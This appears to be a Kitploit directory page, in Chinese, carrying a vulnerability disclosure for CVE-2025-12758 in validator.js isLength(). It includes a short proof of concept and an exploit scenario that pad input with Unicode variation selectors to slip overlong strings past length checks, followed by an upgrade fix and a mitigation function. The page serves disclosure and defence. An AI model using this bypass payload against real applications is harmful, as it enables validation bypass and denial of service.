Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12758 — # CVE-2025-12758 详细披露,包含 PoC,演示 validator.js isLength() 中 Unicode 变体选择符绕过,包括根因分析、利用场景和缓解步骤。 | Kitploit
工具/GitHubGitHub/open-flaw/cve-2025-12758
漏洞分析代码分析Web安全论文与研究学习与教育
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

# CVE-2025-12758 详细披露,包含 PoC,演示 validator.js isLength() 中 Unicode 变体选择符绕过,包括根因分析、利用场景和缓解步骤。

查看仓库
19个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-12758:Validator.js isLength() 函数 Unicode 变体选择符绕过漏洞

CVE ID: CVE-2025-12758
CVSS 评分: 8.7(高危)
严重性: 高危
CWE: CWE-792(对一个或多个特殊元素实例的过滤不完整)
发布日期: 2025年11月26日
披露日期: 2025年10月19日

漏洞概述

此漏洞影响 validator npm 包版本 < 13.15.22。isLength() 函数在计算字符串长度时未考虑 Unicode 变体选择符(\uFE0F、\uFE0E),从而导致输入验证不当。

影响

使用 isLength() 进行输入验证的应用程序可能接受远超预期长度的字符串,从而可能导致:

  • 数据库中的数据截断
  • 其他系统组件中的缓冲区溢出
  • 拒绝服务(DoS)攻击
  • 输入验证绕过

根本原因

isLength() 函数在计算字符串长度时未能正确过滤 Unicode 变体选择符。这些特殊字符(组合标记)不应计入字符串的可视长度,但会被计入 JavaScript 的 String.length 属性。

概念验证

环境设置

root@kitploit:~
npm install [email protected]
node poc.js

代码

该 POC 通过测试 isLength() 函数来演示此漏洞:

root@kitploit:~
const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

输出

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

第三个输出演示了此漏洞:一个实际长度为 8 的字符串通过了最大长度为 4 的验证检查。

利用场景

应用程序可能会实现用户评论验证:

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

修复方案

升级到 13.15.22 或更高版本

root@kitploit:~
npm install [email protected]

已修补的版本会将 Unicode 变体选择符排除在长度计算之外,从而正确处理它们。

备选缓解措施(临时)

如果无法立即升级,请实现自定义长度验证:

root@kitploit:~
function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

参考链接

  • Snyk 漏洞数据库: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist(原始验证): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR(修复): https://github.com/validatorjs/validator.js/pull/2616
  • CVE 记录: https://www.cve.org/CVERecord?id=CVE-2025-12758

检测方法

检查您的应用程序是否存在漏洞:

root@kitploit:~
npm audit --audit-level=high

查找版本号 < 13.15.22 的 validator 包。

致谢

漏洞发现者:Karol Wrótniak

许可证

ISC

下载工具